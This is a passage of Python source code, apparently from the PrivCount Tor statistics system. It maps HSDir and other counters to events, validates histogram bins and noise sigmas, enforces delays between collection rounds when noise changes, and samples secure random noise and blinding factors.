'HSDir2FetchClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchNoClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchCachedNoClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthIntroPointHistogram' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir2FetchUncachedNoClientAuthOnionAddressCountList' : { HSDIR_FETCH_EVENT },
# HSDir 3 Fetch /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/RevisionHistogram/ReasonCountList
'HSDir3FetchCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchRevisionHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedRevisionHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchCachedReasonCountList' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedDescriptorByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedDescriptorByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedIntroByteCount' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedIntroByteHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedRevisionHistogram' : { HSDIR_FETCH_EVENT },
'HSDir3FetchUncachedReasonCountList' : { HSDIR_FETCH_EVENT },
# the sanity check counter doesn't depend on any events
DEFAULT_DUMMY_COUNTER_NAME : set(),
}
def register_dynamic_counter(counter_name, counter_events):
'''
Register counter_name as a counter which uses the events in counter_events.
If counter_name is already a registered counter, updates the list of events
for counter.
This should be called before the counters are checked:
- in the Tally Server, early in refresh_config,
- in PrivCountClient, early in check_start_config
(PrivCountClient is a parent class of Data Collector and Share Keeper)
Any event updates are applied the next time the data collector starts a
collection phase.
Logs a message and ignores unknown events.
'''
event_set = set()
for event in counter_events:
if event in get_valid_events():
event_set.add(event)
else:
logging.warning("Ignoring unknown event {} for dynamic counter {}"
.format(event, counter_name))
PRIVCOUNT_COUNTER_EVENTS[counter_name] = event_set
def get_valid_counters():
'''
Return a set containing the name of each privcount counter, in titlecase.
(Or whatever the canonical case of the counter name is.)
'''
counter_set = set(PRIVCOUNT_COUNTER_EVENTS.keys())
# we can't check case consistency, so just return the set
return counter_set
def get_events_for_counter(counter):
'''
Return the set of events required by counter
'''
# when you add an event, but forget to update the table above,
# you will get an error here
logging.debug("Finding events for counter: '{}'".format(counter))
try:
event_set = PRIVCOUNT_COUNTER_EVENTS[counter]
except KeyError as e:
logging.error("Missing events for counter: '{}'".format(counter))
raise
assert check_event_set_valid(event_set)
return event_set
def get_events_for_counters(counter_list):
'''
Return the set of events required by at least one of the counters in
counter_list.
'''
event_set = set()
if counter_list is not None:
for counter in counter_list:
counter_events = get_events_for_counter(counter)
event_set = event_set.union(counter_events)
assert check_event_set_valid(event_set)
return event_set
def get_events_for_known_counters():
'''
Return the set of events required by at least one of the counters we know
about.
'''
return get_events_for_counters(PRIVCOUNT_COUNTER_EVENTS.keys())
def get_circuit_sample_events():
'''
Return the set of events affected by circuit_sample_rate.
'''
event_set = { CELL_EVENT,
BYTES_EVENT,
STREAM_EVENT,
CIRCUIT_EVENT,
# Not affected
#CONNECTION_EVENT,
#HSDIR_STORE_EVENT,
# Unused events
DNS_EVENT,
LEGACY_CIRCUIT_EVENT,
}
return event_set
def is_circuit_sample_counter(counter):
'''
If counter uses an event affected by circuit_sample_rate, return True.
Otherwise, return False.
'''
counter_events = get_events_for_counter(counter)
circuit_sample_events = get_circuit_sample_events()
common_events = counter_events.intersection(circuit_sample_events)
return len(common_events) > 0
def are_events_expected(counter_list, relay_flag_list):
'''
Return True if we expect to receive regular events while collecting
counter_list, on a relay with the consensus flags in relay_flag_list.
relay_flag_list must be a list, not a string.
Return False if we don't expect to receive events regularly.
'''
# It really does need to be a list
if isinstance(relay_flag_list, (str, unicode)):
relay_flag_list = relay_flag_list.split()
# no counters
if counter_list is None or len(counter_list) == 0:
return False
event_list = get_events_for_counters(counter_list)
# no events: ZeroCount only
if event_list is None or len(event_list) == 0:
return False
has_entry = "Guard" in relay_flag_list
has_exit = "Exit" in relay_flag_list
# relay_flag_list must be a list to avoid a substring match
has_hsdir2 = "HSDir" in relay_flag_list
has_hsdir3 = "HSDir3" in relay_flag_list
for counter_name in counter_list:
if has_entry and counter_name.startswith("Entry"):
return True
if has_exit and counter_name.startswith("Exit"):
return True
if has_hsdir2 and counter_name.startswith("HSDir2"):
return True
if has_hsdir3 and counter_name.startswith("HSDir3"):
return True
# no matching counters and flags
return False
def check_counter_names(counters):
'''
Check that each counter's name is in the set of valid counter names.
Returns False if any counter name is unknown, True if all are known.
'''
# sort names alphabetically, so the logs are in a sensible order
for counter_name in sorted(counters.keys()):
if counter_name not in get_valid_counters():
logging.warning("counter name {} is unknown"
.format(counter_name))
return False
return True
def count_bins(counters):
'''
Returns the total number of bins in counters.
'''
return sum([len(counter_config['bins'])
for counter_config in counters.values()])
def check_bin_count_matches_name(bins):
'''
Check that counter names that end in "Count" have a single bin, and
counter names that end in anything else have multiple bins.
'''
# sort names alphabetically, so the logs are in a sensible order
for key in sorted(bins.keys()):
bin_count = len(bins[key]['bins'])
# handle template counters by stripping the non-template part
key_template, _, _ = key.partition("_")
# the TrafficModel DelayTime counters are single bin
if key_template.endswith("Count") or key_template.endswith("DelayTime"):
if bin_count != 1:
logging.warning("counter {} ends in Count, but has {} bins: {}"
.format(key, bin_count, bins[key]))
return False
else: # Histogram, Ratio, LifeTime, DelayTime, CountList, ...
if bin_count <= 1:
logging.warning("counter {} does not end in Count, but has {} bins: {}"
.format(key, bin_count, bins[key]))
return False
return True
def check_bins_config(bins, allow_unknown_counters=False):
'''
Check that bins are non-overlapping.
Returns True if all bins are non-overlapping, and False if any overlap.
If allow_unknown_counters is False, also check that all counter names are
in the set of known counter names for this PrivCount version, returning
False if there are any unknown counters.
Raises an exception if any counter does not have bins, or if any bin does
not have a lower and upper bound
'''
if not allow_unknown_counters:
if not check_counter_names(bins):
return False
# unknown counters may have different rules for bin counts
if not check_bin_count_matches_name(bins):
return False
# sort names alphabetically, so the logs are in a sensible order
for key in sorted(bins.keys()):
# this sorts the bins by the first element in ascending order
# (if the first elements are equal, the bins are sorted by the second
# element)
sorted_bins = sorted(bins[key]['bins'])
prev_bin = None
for bin in sorted_bins:
# bins are an array [l, u, c], where c counts values such that:
# l <= value < u
# c is optional, and is ignored by this code
l = bin[0]
u = bin[1]
# check for inverted bounds
if l >= u:
logging.warning("bin {} in counter {} will never count any values, because its lower bound is greater than or equal to its upper bound"
.format(bin, key))
return False
# make sure we have a bin to compare to
if prev_bin is not None:
prev_l = prev_bin[0]
prev_u = prev_bin[1]
# two sorted bins overlap if:
# - their lower bounds are equal, or
# - the upper bound of a bin is greater than the lower bound
# of the next bin
if prev_l == l:
logging.warning("bin {} in counter {} overlaps bin {}: their lower bounds are equal"
.format(prev_bin, key, bin))
return False
elif prev_u > l:
logging.warning("bin {} in counter {} overlaps bin {}: the first bin's upper bound is greater than the second bin's lower bound"
.format(prev_bin, key, bin))
return False
prev_bin = bin
return True
def check_sigmas_config(sigmas, allow_unknown_counters=False):
'''
Check that each sigma value in sigmas is valid.
Returns True if all sigma values are valid, and False if any are invalid.
If allow_unknown_counters is False, also check that all counter names are
in the set of known counter names for this PrivCount version, returning
False if there are any unknown counters.
Raises an exception if any sigma value is missing.
'''
if not allow_unknown_counters:
if not check_counter_names(sigmas):
return False
# sort names alphabetically, so the logs are in a sensible order
for key in sorted(sigmas.keys()):
if sigmas[key]['sigma'] < 0.0:
logging.warning("invalid sigma for counter {}: less than zero".format(key))
return False
return True
def extra_counters(first, second, first_name, second_name, action_name):
'''
Return the extra counter keys in first that are not in second.
Warn about taking action_name on any missing counters.
'''
extra_keys = _extra_keys(first, second)
# Log missing keys
if len(extra_keys) > 0:
logging.info("{} counters {} because they have {}, but no {}"
.format(action_name, summarise_list(extra_keys),
first_name, second_name))
return extra_keys
def common_counters(first, second, first_name, second_name, action_name):
'''
Return the counter keys shared by first and second.
Warn about taking action_name on any missing counters.
'''
# ignore the extra counters return values, we just want the logging
extra_counters(first, second, first_name, second_name, action_name)
extra_counters(second, first, second_name, first_name, action_name)
# return common keys
return _common_keys(first, second)
def _skip_missing(counters, expected_subkey, detailed_source=None):
'''
Check that each key in counters has a subkey with the name expected_subkey.
If any key does not have a subkey named expected_subkey, skip it and log a
warning.
If detailed_source is not None, use it to describe the counters.
Otherwise, use expected_subkey.
Returns a copy of counters with invalid keys skipped.
'''
if detailed_source is None:
detailed_source = expected_subkey
valid_counters = {}
invalid_counters = []
for key in sorted(counters.keys()):
if expected_subkey in counters[key]:
valid_counters[key] = counters[key]
else:
invalid_counters.append(key)
if len(invalid_counters) > 0:
logging.warning("ignoring counters {} because they are configured as {} counters, but they do not have any {} value"
.format(summarise_list(invalid_counters),
detailed_source, expected_subkey))
return valid_counters
def skip_missing_bins(bins, detailed_source=None):
'''
Check each key in bins has a bins list.
If any key does not have a bins list, skip it and log a warning.
Returns a copy of counters with invalid keys skipped.
'''
return _skip_missing(bins, 'bins', detailed_source)
def skip_missing_sigmas(sigmas, detailed_source=None):
'''
Check each key in sigmas has a sigma value.
If any key does not have a sigma, skip it and log a warning.
Returns a copy of counters with invalid keys skipped.
'''
return _skip_missing(sigmas, 'sigma')
def combine_counters(bins, sigmas):
'''
Combine the counters in bins and sigmas, excluding any counters that are
missing from either bins or sigmas.
Combine the keys and values from both bins and sigmas in the output
counters, according to what the tally server is permitted to update.
(Both bins and sigmas are configured at the tally server.)
Return a dictionary containing the combined keys.
'''
# Remove invalid counters
bins = skip_missing_bins(bins)
sigmas = skip_missing_sigmas(sigmas)
# we allow the tally server to update the set of counters
# (we can't count keys for which we don't have both bins and sigmas)
common_keys = common_counters(bins, sigmas, 'bins', 'sigma',
'ignoring')
counters_combined = {}
for key in common_keys:
# skip_missing_* ensures these exist
assert 'bins' in bins[key]
assert 'sigma' in sigmas[key]
# Use the values from the sigmas
counters_combined[key] = deepcopy(sigmas[key])
# Except for the bin values, which come from bins
# we allow the tally server to update the bin widths
counters_combined[key]['bins'] = deepcopy(bins[key]['bins'])
return counters_combined
def check_combined_counters(bins, sigmas):
'''
Sanity check bins against sigmas.
Returns False if:
- the set of counters in bins and sigmas is not the same, or
- any counter is missing bins, or
- any counter is missing a sigma, or
- any counter is duplicated.
'''
combined_counters = combine_counters(bins, sigmas)
return (len(combined_counters) == len(bins) and
len(combined_counters) == len(sigmas))
def check_counters_config(bins, sigmas, allow_unknown_counters=False):
'''
Sanity check bins and sigmas individually.
Check that bins and sigmas have the same set of counters.
If allow_unknown_counters is False, also check that all counter names are
in the set of known counter names for this PrivCount version.
'''
return (check_bins_config(bins,
allow_unknown_counters=allow_unknown_counters) and
check_sigmas_config(sigmas,
allow_unknown_counters=allow_unknown_counters) and
check_combined_counters(bins, sigmas))
def float_representation_accuracy():
'''
When converting an exact number to a python float, the maximum possible
proportional change in the value of the float.
For the exact number n, converting n to a float could change the value by
at most +/- n * float_representation_accuracy().
Returns a floating point number representing the maximum relative increase
or decrease in the value of the original exact number.
'''
# When converting an exact value to a python float, the maximum possible
# proportional change is half the distance between one float value and the
# next largest or smallest float value.
# Conventiently, the distance between adjacent floats is at most the float
# epsilon multiplied by the value of the float, as the distance between
# adjacent floats scales as they get larger or smaller.
# On most platforms, the float epsilon is 2 ** -53.
return sys.float_info.epsilon/2.0
def float_string_accuracy():
'''
When converting a python float to a string and back, the maximum possible
proportional change in the value of the float.
For the float f, converting f to a string and back could change the value
by at most +/- f * float_string_accuracy().
Returns a floating point number representing the maximum relative increase
or decrease in the value of the original float.
'''
# sys.float_info.dig is the number of significant figures that are
# guaranteed to be preserved when converting a float to a string and
# then back to a float (PrivCount does this when sending sigma between
# the TS and the SKs/DCs).
# This is based on python's float repr() rule, introduced in versions 2.7
# and 3.1:
# Python "displays a value based on the shortest decimal fraction that
# rounds correctly back to the true binary value"
# On most 32 and 64-bit platforms, sys.float_info.dig is 15 digits.
# Therefore, the maximum change in value that can occur is the 15th digit
# (of least significance) changing by +/- 1.
# But we can't just multiply the original value by 10 ** -15, because
# the (significand of the) float can have any value in [0.1, 0.999...].
# Therefore, we need to multiply the tolerance by another 10x.
# This gives us a tolerance of 10 ** -14 on most systems.
return 10.0 ** (-sys.float_info.dig + 1)
def float_accuracy():
'''
The maximum proportional change in an exact value when converted to a
float, then a string, then back to a float.
For the exact number n, converting n to a float then string then float
could change the value by at most +/- n * float_accuracy().
Returns a floating point number representing the maximum relative increase
or decrease in the value of the original exact number.
'''
# If the inaccuracies are both in the same direction, the total inaccuracy
# is the sum of all inaccuracies
return float_representation_accuracy() + float_string_accuracy()
class CollectionDelay(object):
'''
Ensures a configurable delay between rounds with different noise
allocations.
Usage:
(the SKs must enforce these checks for the protocol to be secure
the TS does these checks for convenience, the DCs for defence in depth)
TS: configures round
uses get_next_round_start_time() for status updates
checks round_start_permitted() before starting collection
DC: checks round_start_permitted() before sending blinding shares
SK: checks round_start_permitted() before accepting blinding shares
(round runs)
DC: set_delay_for_stop() when round stops and counters are sent
SK: set_delay_for_stop() when round stops and blinding shares are sent
TS: set_delay_for_stop() when round ends successfully
(repeat for next round, if TS has continue set in its config)
'''
def __init__(self):
'''
Initialise the noise allocations and times required to track collection
delays.
'''
# The earliest noise allocation in a series of equivalent noise
# allocations
self.starting_noise_allocation = None
# The end time of the successful round to use an equivalent allocation
self.last_round_end_time = None
DEFAULT_SIGMA_DECREASE_TOLERANCE = DEFAULT_SIGMA_TOLERANCE
@staticmethod
def sigma_change_needs_delay(
previous_sigma, proposed_sigma,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE,
logging_label=None):
'''
Check if there should be a delay between rounds using the previous
and proposed sigma values for the same counter.
A counter can use two sigma values without a delay between them if:
- The values are equal (within a small tolerance), or
- The proposed value is greater than the previous value.
Returns True if the sigma values need a delay, False if they do not.
'''
assert previous_sigma >= 0
assert proposed_sigma >= 0
assert tolerance >= 0
if proposed_sigma >= previous_sigma:
# the sigma has increased: no delay required
return False
elif previous_sigma - proposed_sigma <= tolerance:
# the sigma has decreased, but not by enough to matter
return False
# the sigma has decreased too much - enforce a delay
if logging_label is not None:
logging.warning("Delaying round: proposed sigma %.2g is less than previous sigma %.2g, and not within tolerance %.2g, in counter %s",
proposed_sigma,
previous_sigma,
tolerance,
logging_label)
return True
@staticmethod
def noise_change_needs_delay(
previous_allocation, proposed_allocation,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE):
'''
Check if there should be a delay between rounds using the previous
and proposed noise allocations.
Two allocations can be used without a delay between them if:
- They have the same keys, and
- The sigma values for those keys do not need a delay, using the
acceptable sigma decrease tolerance.
Returns True if the allocations need a delay, False if they do not.
'''
# There must be an allocation for a valid round
assert proposed_allocation is not None
assert tolerance >= 0
# No delay for the first round
if previous_allocation is None:
return False
# Ignore and log missing sigmas
previous_sigmas = skip_missing_sigmas(previous_allocation['counters'],
'previous sigma')
proposed_sigmas = skip_missing_sigmas(proposed_allocation['counters'],
'proposed sigma')
# Check that we have the same set of counters
common_sigmas = common_counters(previous_sigmas, proposed_sigmas,
'previous sigma', 'proposed sigma',
"can't compare sigmas on")
if len(common_sigmas) != len(previous_sigmas):
return True
if len(common_sigmas) != len(proposed_sigmas):
return True
# check the sigma values are the same
for key in sorted(common_sigmas):
if CollectionDelay.sigma_change_needs_delay(
previous_sigmas[key]['sigma'],
proposed_sigmas[key]['sigma'],
tolerance=tolerance,
logging_label=key):
return True
return False
def get_next_round_start_time(
self, noise_allocation, delay_period,
max_client_rtt=0.0,
always_delay=False,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE):
'''
Return the earliest time at which a round with noise allocation could
start, where delay_period is the configurable delay.
If always_delay is True, always delay the round by delay_period.
(This is intended for use while testing.)
max_client_rtt is the maximum client RTT of all clients (only used by
the Tally Server).
tolerance is the acceptable sigma decrease.
'''
# there must be a configured delay_period (or a default must be used)
assert delay_period >= 0
# that is, it must be boolean-coercible
assert always_delay or not always_delay
# there must be a noise allocation for the next round
assert noise_allocation is not None
assert tolerance >= 0
noise_change_delay = self.noise_change_needs_delay(
self.starting_noise_allocation,
noise_allocation,
tolerance=tolerance)
needs_delay = always_delay or noise_change_delay
if noise_change_delay:
# if there was a change, there must have been a previous allocation
assert self.starting_noise_allocation
if self.last_round_end_time is None:
# a delay is meaningless, there have been no previous successful
# rounds
# we can start any time
return 0
elif needs_delay:
# if there was a previous round, and we need to delay after it,
# there must have been an end time for that round
next_start_time = self.last_round_end_time + delay_period + max_client_rtt
return next_start_time
else:
# we can start any time after the last round ended
return self.last_round_end_time
def round_start_permitted(
self, noise_allocation, start_time, delay_period,
max_client_rtt=0.0,
always_delay=False,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE,
logging_function=logging.debug):
'''
Check if we are permitted to start a round with noise allocation
at start time, with the configured delay_period and max_client_rtt.
If always_delay is True, always delay the round by delay_period.
(This is intended for use while testing.)
max_client_rtt is the maximum client RTT of all clients (only used by
the Tally Server).
tolerance is the acceptable sigma decrease.
Return True if starting the round is permitted.
If it is not, return False, and log a message using logging_function.
'''
# there must be a start time
assert start_time >= 0
# all the other assertions are in this function
next_start_time = self.get_next_round_start_time(noise_allocation,
delay_period,
max_client_rtt=max_client_rtt,
always_delay=always_delay,
tolerance=tolerance)
if start_time >= next_start_time:
return True
else:
if always_delay:
delay_reason = "we are configured to always delay"
else:
delay_reason = "noise allocation changed"
logging_function("Delaying round for %s because %s",
format_delay_time_until(next_start_time,
'until'),
delay_reason)
return False
def set_delay_for_stop(
self, round_successful, noise_allocation, start_time, end_time,
delay_period,
max_client_rtt=0.0,
always_delay=False,
tolerance=DEFAULT_SIGMA_DECREASE_TOLERANCE):
'''
Called when a round ends.
If the new noise allocation is not equivalent to the stored noise,
update the stored noise. Update the stored last round end time.
No updates are performed for failed rounds.
Log a warning if it appears that the round was started too early.
(This can also occur if the config is changed mid-round.)
If always_delay is True, assume the round was delayed, regardless of
the noise allocation. (This is intended for use while testing.)
max_client_rtt is the maximum client RTT of all clients (only used by
the Tally Server).
tolerance is the acceptable sigma decrease.
'''
# make sure we haven't violated our own preconditions
# that is, it must be boolean-coercible
assert round_successful or not round_successful
assert noise_allocation is not None
assert start_time >= 0
assert end_time >= 0
assert start_time < end_time
assert delay_period >= 0
assert always_delay or not always_delay
assert tolerance >= 0
# did we forget to check if we needed to delay this round?
# warn, because this can happen if the delay is reconfigured,
# or if another node fails a round because it starts sooner than its
# configured delay, or if the Tally server asks for results twice
if not self.round_start_permitted(noise_allocation,
start_time,
delay_period,
max_client_rtt=max_client_rtt,
always_delay=always_delay,
tolerance=tolerance):
expected_start = self.get_next_round_start_time(noise_allocation,
delay_period,
max_client_rtt=max_client_rtt,
always_delay=always_delay,
tolerance=tolerance)
status = "successfully stopped" if round_successful else "stopped unexpectedly (failure or duplicate event)"
logging.warning("Round that just {} was started {} before enforced delay elapsed. Round started {}, expected start {}."
.format(status,
format_period(expected_start - start_time),
format_elapsed_time_since(start_time,
'at'),
format_elapsed_time_since(expected_start,
'at')))
if round_successful:
# The end time is always updated
self.last_round_end_time = end_time
if self.starting_noise_allocation is None or always_delay:
# It's the first noise allocation this run, or it's a
# noise allocation for which we've delayed collection
self.starting_noise_allocation = noise_allocation
elif not self.noise_change_needs_delay(
self.starting_noise_allocation,
noise_allocation,
tolerance=tolerance):
# The latest noise allocation could have been used immediately
# after the starting noise allocation.
# Keep the starting noise allocation, so that a TS can't
# gradually decrease the noise each round
pass
else:
# It's a noise allocation from a successful round, and it's
# different enough from the starting allocation. Assume we
# waited for the enforced delay before the round started.
self.starting_noise_allocation = noise_allocation
def noise(sigma, sum_of_sq, p_exit):
'''
Sample noise from a gussian distribution
the distribution is over +/- sigma, scaled by the noise weight, which is
calculated from the exit probability p_exit, and the overall sum_of_sq
bandwidth
returns a floating-point value between +sigma and -sigma, scaled by
noise_weight
'''
sigma_i = p_exit * sigma / sqrt(sum_of_sq)
# the noise needs to be cryptographically secure, because knowing the RNG
# state could allow an adversary to remove the noise
random_sample = SystemRandom().gauss(0, sigma_i)
return random_sample
def sample(modulus):
'''
Sample a uniformly distributed value from the SystemRandom CSPRNG
(uses rejection sampling to avoid bias)
returns a long uniformly distributed in [0, modulus)
'''
# sanitise input
modulus = long(modulus)
assert modulus > 0
# to get values up to modulus-1, we need this many bits
sample_bit_count = (modulus-1).bit_length()
# handle the case where modulus is 1
if sample_bit_count == 0:
sample_bit_count = 1
# check the bit count is sane
assert modulus <= 2L**sample_bit_count
assert modulus >= 2L**(sample_bit_count-1)
## Unbiased sampling through rejection sampling
while True:
# sample that many bits
v = SystemRandom().getrandbits(sample_bit_count)
assert v >= 0
assert v < 2L**sample_bit_count
# the maximum rejection rate is 1 in 2, when modulus is 2**N + 1
if 0L <= v < modulus:
break
return v
def sample_randint(a, b):
"""
Like random.randint(), returns a random long N such that a <= N <= b.
"""
return a + sample(b - a + 1)
def derive_blinding_factor(secret, modulus, positive=True):
'''
Calculate a blinding factor less than modulus, based on secret
If secret is None, sample a blinding factor and return it
When positive is True, returns the blinding factor, and when positive is
False, returns the unblinding factor (the inverse value mod modulus)
Typically called as:
blinding = derive_blinding_factor(None, counter_modulus(), True)
unblinding = derive_blinding_factor(blinding, counter_modulus(), False)
'''
# sanitise input
modulus = long(modulus)
if secret is None:
v = sample(modulus)
else:
# sanitise input
v = long(secret)
assert v < modulus
s0 = v if positive else modulus - v
return s0
def adjust_count_signed(count, modulus):
'''
Adjust the unsigned 0 <= count < modulus, returning a signed integer
For odd modulus, returns { -modulus//2, ... , 0, ... , modulus//2 }
For even modulus, returns { -modulus//2, ... , 0, ... , modulus//2 - 1 }
The smallest positive values >= modulus//2 [- 1] become the largest
negative values
This is the inverse operation of x % modulus, when x is in the appropriate
range (x % modulus always returns a positive integer when modulus is
positive)
'''
# sanitise input
count = long(count)
modulus = long(modulus)
# sanity check input
assert count < modulus
# When implementing this adjustment,
# { 0, ... , (modulus + 1)//2 - 1} is interpreted as that value,
# { (modulus + 1)//2, ... , modulus - 1 } is interpreted as
# that value minus modulus, or
# { (modulus + 1)//2 - modulus, ... , modulus - 1 - modulus }
#
# For odd modulus, (modulus + 1)//2 rounds up to modulus//2 + 1, so the
# positive case simplifies to:
# { 0, ... , modulus//2 + 1 - 1 }
# { 0, ... , modulus//2 }
# and because modulus == modulus//2 + modulus//2 + 1 for odd modulus, the
# negative case simplifies to:
# { modulus//2 + 1 - modulus//2 - modulus//2 - 1, ... ,
# modulus - 1 - modulus}
# { -modulus//2, ... , -1 }
# Odd modulus has the same number of values above and below 0:
# { -modulus//2, ... , 0, ... , modulus//2 }
#
# For even modulus, (modulus+1)//2 rounds down to modulus//2, so the
# positive case simplifies to:
# { 0, ... , modulus//2 - 1 }
# and because modulus == modulus//2 + modulus//2 for even modulus, the
# negative case simplifies to:
# { modulus//2 - modulus//2 - modulus//2, ... , modulus - 1 - modulus}
# { -modulus//2, ... , -1 }
# Even modulus has the 1 more value below 0 than above it:
# { -modulus//2, ... , 0, ... , modulus//2 - 1 }
# This is equivalent to signed two's complement, if modulus is an integral
# power of two
if count >= ((modulus + 1L) // 2L):
signed_count = count - modulus
else:
signed_count = count
# sanity check output
assert signed_count >= -modulus//2L
if modulus % 2L == 1L:
# odd case
assert signed_count <= modulus//2L
else:
# even case
assert signed_count <= modulus//2L - 1L
return signed_count
class SecureCounters(object):
'''
securely count any number of labels
counters should be in the form like this:
{
'CircuitCellsInOutRatio': {
'bins':
[
[0.0, 0.1],
[0.1, 0.25],
[0.25, 0.5],
[0.5, 0.75],
[0.75, 0.9],
[0.9, 1.0],
[1.0, float('inf')],
],
'sigma': 2090007.68996
},
'EntryCircuitInboundCellHistogram': {
'bins':
[
[0.0, 512.0],
[512.0, 1024.0],
[1024.0, 2048.0],
[2048.0, 4096.0],
[4096.0, float('inf')],
],
'sigma': 2090007.68996
}
}
All of data collectors, share keepers, and tally server use this to store
counters.
It is used approximately like this:
data collector:
init(), generate_blinding_shares(), detach_blinding_shares(),
generate_noise(), increment()[repeated],
detach_counts()
the blinding shares are sent to each share keeper
the counts are sent to the tally server at the end
share keeper:
init(), import_blinding_share()[repeated], detach_counts()
import..() uses the shares from each data collector
